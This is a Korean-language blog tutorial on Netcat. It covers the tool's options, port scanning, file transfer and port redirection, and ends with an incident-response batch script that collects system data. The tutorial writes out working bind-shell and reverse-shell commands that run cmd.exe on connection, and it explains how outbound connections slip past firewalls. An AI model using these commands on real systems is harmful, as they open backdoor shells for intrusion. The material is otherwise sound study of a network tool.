Netcat – 사용법, 리버스 텔넷(Reverse Telnet)

일명 NC라고도 하는 넷캣(Netcat)은 네트워크 분야에서 사용이 광범위한 도구로써 원격지 서버 모드뿐만 아니라 클라이언트 모드등 다양한 기능을 제공해 많은 사용자를 확보하였다. 넷캣은 네트워크를 연결하는 도구로도 사용할 수 있고, 포트를 스캐닝하거나, 파일을 전송하는등 여러 용도로 사용할 수 있는데, 사용법 또한 간편하고, 실행파일 하나로 구성할 수 있다는 큰 장점을 가지고 있다. 넷켓을 이용한 해킹도 많이 발생하였는데, 이러한 구성이 어떻게 가능한지,

먼저 넷캣은 아래 URL에서 다운로드 할 수 있다.

http://www.downloadnetcat.com/

 

넷캣에서 제공하는 옵션부터 차근차근 알아보자. (유용한 옵션을 굵게 표시하였다.)

-d    : 숨김 기능인데 명령을 사용한 콘솔창에 자신의 옵션값을 표시하지 않는다.(작업관리자에서는 확인가능, 실제 잘 동작하지 않는듯 하다.)

-e <프로그램>    : 서버 모드시 사용되며, 연결되면, 지정한 프로그램을 실행한다.(해킹시 주로 이용된다.)

-g    : 소스 라우트(Source route, 출발지 경로)를 변경할 수 있다. 최대 8개까지 입력 가능

-G 홉수    : 소스 라우트(Source route, 출발지 경로)를 변경할 수 있다. 특정 홉 지정가능

-I <초>    : 응답 대기 시간을 지정한다. 스캔 모드시 유용

-l    : 서버모드로 동작하여 연결을 기다린다.

-L    : 서버 모드로, 연결 종료시 다시 서비스를 제공

-n    : DNS 검색을 사용하지 않는다. IP정보로 접근

-o <파일>    : 발생한 패킷을 헥사코드로 캡쳐한다.

-p <포트>    : 서버 모드에서 사용하고자 하는 로컬 포트를 지정

-r    : 로컬 및 원격지의 포트를 임의로 지정

-s <IP>    : 로컬 IP를 지정한다.

-t    : 넷캣은 기본적으로 연결에 대한인증이 필요없도록 구성되어 있다. 하지만 텔넷(TELNET)의 경우 별도의 인증이 필요하므로 해당 텔넷 형식에 맞게 동작 할 수 있게 해준다.

-u    : UDP 모드로 동작

-v    : 네트워크 통신에 대한 정보를 세부적으로 표시한다.(2개를 사용한경우 더 자세한 정보를 표시)

-w 초    : 응답이 없는 경우 연결을 종료 시킨다.

-z    : I/O가 없이 사용하느 모드로 스캔할 때 이용된다.

 

옵션들만 보아도 기대가 된다. 그만큼 놀라운 네트워크 도구라 할 수 있다.

그럼 몇가지 사용 방식에 대해 설명하도록 하겠다.

 

연결기능

가장 기본이 되면서도 유용한 기능으로, 일반 네트워크 연결 도구와 다른점은 로컬 포트를 지정하여 사용할 수 있다.

로컬 포트 11111를 이용하여 원격지 10.10.10.1의 80포트로 접속

 

nc –p 11111 10.2.0.17 80

[내용] 넷캣을 이용한 접속

 

실행기능

실행기능은 보통 서버모드와 함께 사용되는데, 이 모드를 이용해 백도어용도로 사용되거나,

그외에는 리버스 텔넷으로도 이용된다.

 

//연결시 cmd.exe와 텔넷 응답형식을 함께 사용한다.

nc –l –p 11111 –t –e cmd.exe

//재연결을 허용한다면 –l을 –L로 실행한다.

nc –L –p 11111 –t –e cmd.exe

[내용] 해킹시에도 많이 이용되는 방식이다

 

위 명령를 실행하게 되면 서버모드로 지정한 포트를 열고서 연결을 대기 하게 된다.

그리고 연결되면, 연결과 동시에 해당 프로그램과 상호 동작하게 되므로 휼륭한 연결 도구이다.

더욱이 실행 기능에는 포트 리다이렉션도 가능하다.

즉 서버 연결후 외부에서 연결이 되지 않는 다른 서버로 다시 연결을 다시 시도하는 형식이다.

 

//먼저 10.2.0.1에서 22222포트를 서버모드로 실행하자.

nc –L –p 22222 –e cmd.exe

//그리고 10.2.0.17에서 11111포트를 서버모드로 실행하면서 실행기능을 이용해 연결시 10.2.0.1로 리다이렉션 시킨다.

nc –l –p 11111 –e “nc 10.2.0.1 22222”

[내용] 포트 리다이렉션

 

위와 같이 구성후 다른 컴퓨터에서 10.2.0.17에 nc를 이용해 11111포트로 접근하면, 10.2.0.1 머신의 cmd.exe가 실행된다.

 

서버모드기능

서버 모드는 지정한 포트를 열고 연결을 기다리는 모드로써, 파일을 전송하는 등의 기능을 수행할 수 있다. 즉 결과 값을 파일로 저장 하게 된다. 원격지 자료 수집 역시 이기능을 이용한 것이라 보면 된다.

 

nc –L –p 1234 > %date%.log

[내용] 출력 내용을 특정파일에 저장한다

 

파일을 전송하고자 한다면, 아래와 같이 서버모드중인 머신의 IP와 사용 포트를 입력하고, 보내고자 하는 파일을 꺽쇄를 이용하여 전송할 수 있다.

 

nc DestIP 1234 –w 5 < 로그파일

[내용] 전송하고자 하는 파일 지정

 

스캔 기능

넷캣을 통해 오픈중인 포트 리스트를 스캔 할 수 있다. 스캔 전문 도구인 NMAP 만큼은 아니지만,

Nmap을 사용할 수 없을 때 스캔 도구로 충분히 활용할 수 있다.

사용방식은 아래와 같다.

 

//1-53번까지 포트를 스캔하라는 명령이다.

nc –vvn –w 5 –z 10.2.0.17 1-53 > result.txt

//특정 포트를 지정하여 스캔에 추가할 수 있다.

nc –vvn –w 5 –z 10.2.0.17 1-53 80 161-165 445 > result.txt

[내용] 넷캣을 이용한 포트 스캔

 

라우팅 기능

라우팅 기능은 여러 네트워크 경로가 존재하는 경우 이 네트워크 경로를 수정하여 접근 하는 방식을 말한다.

이렇게 진행하기 위해서는 먼저 네트워크 구성 상태를 파악하여야 한다.

 

[그림] 접근 가능 경로가 2개 이상인 경우 라우팅을 통해 우회 가능

 

A에 bbb로 접근하는 경로가 차단되어 있다면, b, d, c로 기본 경로를 변경하여 아래와 같이 연결 할 수 있다.

 

nc –v –s aaa –g b –g d –g c bbb 23

[내용]네트워크 경로를 지정하여 연결

 

 

리버스 텔넷(Reverse Telnet)

일반적으로 클라이언트가 서버에 연결하는 구조인데, 이와 반대로 서버에서 클라이언트로 연결 요청 하여 서버에 접근하는 방식을 리버스 텔넷이라고 한다. 즉 서버에서 연결 요청 이후 서버의 자원에 접근 가능한 것이다. 이 방식을 이용하게 되면, 네트워크의 특성상 서버에서 클라이언트 접근 포트는 지정되어 있지 않아 방화벽에서 통제를 하지 않기 때문에, 공격을 차단하기가 여러워진다.

 

[그림] 일반적으로 아웃바운드에 대한 트래픽은 전부 허용한다

 

그럼 넷켓을 이용해 이 리버스 텔넷을 구현해보자.

먼저 외부 클라이언트(10.0.2.16)에서 실행 기능을 이용해 특정 포트를 서버모드로 실행 하자.

 

nc –l –p 8080

[내용] 외부에서 서버 모드로 실행

 

이후 서버(10.0.2.17)에서 외부로 연결을 시도 하는데, 실행 기능으로 cmd.exe를 실행하도록 하여 리버스 텔넷 접속을 시도해 보자.

 

nc –e cmd.exe 10.0.2.16

[내용] 서버에서 외부로 연결 시도

 

위 명령을 실행하면, 외부 컴퓨터인 10.0.2.16에서 명령 프롬프트가 떨어지는 것을 할 수 있다.

해당 명령 프롬프트에서 현재 ipconfig를 확인해 보면 서버의 IP가 나오게 된다. 즉, 현재 서버의 명령 프롬프트 상태인 것이다.

[그림] 서버에서의 연결 요청으로 서버에 접근

 

이러한 휼륭한 기능 때문에 넷켓에 열광하고, 선호할 수 밖에 없게 만드는 것 같다.

 

이 넷캣을 이용하여 데이터를 수집한다면 다음과 같이 진행할 수 있다.

그럼 배치 파일을 생성해 보자

사고 머신으로부터 데이터를 받을 분석 머신에서 넷캣을 서버모드를 실행하여야 하는데, 대문자L로 실행해 접속이 끊겨도 재 서버모드로 들어갈 수 있도록 하자.

 

nc –L –p 8080

[내용] 분석 머신에서 넷캣 서버 모드를 실행

 

이후 수집하고자 하는 항목의 Output을 넷캣으로 보내도록 스크립트를 작성한다.

아래 파일을 배치 파일로 생성한 이후 사용시, IP와 포트번호를 입력하여, 사용하면 된다.

 

netcat.bat

// %1과 %2는 IP와 Port를 입력하여 인자로 받아들이도록 한다.

Hostname | nc %1 %2 -w 5

Date /t | nc %1 %2 -w 5

Time /t | nc %1 %2 -w 5

PsLoggedon -accepteula | nc %1 %2 -w 5

Logonsessions -p -accepteula | nc %1 %2 -w 5

Tasklist /v | nc %1 %2 -w 5

Handle /accepteula | nc %1 %2 -w 5

Listdlls /accepteula | nc %1 %2 -w 5

Sigcheck -u -e c:\windows\system32 /accepteula | nc %1 %2 -w 5

Hfind c:\ | nc %1 %2 -w 5

[내용] 실행 결과를 넷캣 서버로 보낸다

 

Facebook Comments

Leave A Reply

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다